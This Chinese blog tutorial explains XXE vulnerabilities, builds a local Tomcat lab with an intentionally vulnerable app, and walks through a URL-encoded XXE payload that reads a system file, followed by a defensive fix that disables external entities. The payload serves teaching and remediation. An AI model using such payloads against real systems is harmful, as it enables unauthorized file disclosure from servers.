🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、什么是 XXE 漏洞?
- 1、XXE 简介
- 2、XML结构介绍
- 1.第一部分:声明
- 2.第二部分:DTD(文档类型定义)
- 3.第三部分:文档的元素
- 二、案例讲解
- 1、环境搭建
- 1.准备 vulns.war 包
- 2.启动 tomcat
- 3.查看环境目录
- 4.访问环境
- 2、工具扫描
- 3、漏洞复现
- 1.获取文件
- 2.解释payload
- 4、漏洞修复
- 1.XXE怎么防御的?
- 2.禁用外部实体进行防御
- 3.修复成功
- 四、相关资源
一、什么是 XXE 漏洞?
1、XXE 简介
XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程 序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析器处理时,就会发生这种攻击。 这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
2、XML结构介绍
要了解XXE漏洞,那么一定要先学习一下有关XML的基础知识。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1.第一部分:声明
主要会定义一些版本,编码之类的东西。
2.第二部分:DTD(文档类型定义)
也就是他的文档类型定义,形成漏洞部分。
可以定义很多的实体内容,实体内容会对后面整个XML的文档去做一个对应的约束。
DTD格式如下:
第一个是内部声明
<!DOCTVYPE 根元素 [元素声明]>
第二个是外部实体(我们这次漏洞用的)
<!DOCTVYPE 根元素名称 SYSTEM "外部DTD的URI"
第三个是public类型的
<!DOCTVYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
3.第三部分:文档的元素
也就是他的正文,在这个里面会通过一下标签去定义一些key和value属性跟值,这样的一些东西。
二、案例讲解
1、环境搭建
1.准备 vulns.war 包
下载连接在文末给出
把 vulns.war 包放入tomcat webapps 目录下
2.启动 tomcat
下载连接在文末给出
进入 tomcat bin 目录,管理员身份运行 startup.bat 文件启动 tomcat 。
Tomcat 启动默认会将 webapps 目录下所有的 war 包解析一遍。
3.查看环境目录
回到我们 webapps 目录下,发现多了一个 vulns 目录。这就是 tomcat 解析 war 包生成的。
4.访问环境
http://localhost:8080/vulns/
2、工具扫描
使用 fortify 扫描,发现源代码中存在一个XXE漏洞
3、漏洞复现
1.获取文件
http://localhost:8080/vulns/007-xxe.jsp?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%20%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%20%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
2.解释payload
我们解码一下payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
此处将本地计算机中 file:///c:/windows/win.ini 文件的内容取出,赋值给了实体 xxe
然后实体 xxe 的值作为元素 foo 中的字符串数据被解析的时候取出,作为对象里的内容然后再输出该对象的时候被打印出来。
4、漏洞修复
1.XXE怎么防御的?
1.禁用外部实体
2.过滤用户提交的XML数据
过滤关键词:!ENTITY,或者SYSTEM和PUBLI
3.使用第三方应用代码及时升级
2.禁用外部实体进行防御
我们就直接禁用外部实体来演示一下防御,使用开发语言提供的禁用外部实体的方法
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
我们打开环境源代码
在如下位置添加一行
docFactory.setExpandEntityReferences(false);
保存
3.修复成功
打开漏洞环境,在验证XXE是不是存在。
http://localhost:8080/vulns/007-xxe.jsp?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%20%20%20%3C%21ELEMENT%20foo%20ANY%20%3E%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22%20%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
发现漏洞已经不存在了,我们刚刚的修复是有效的。
四、相关资源
1、vulns.war包下载链接
2、Tomcat下载链接
3、[ 代码审计篇 ] Fortify 安装及使用详解(一)
4、[ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例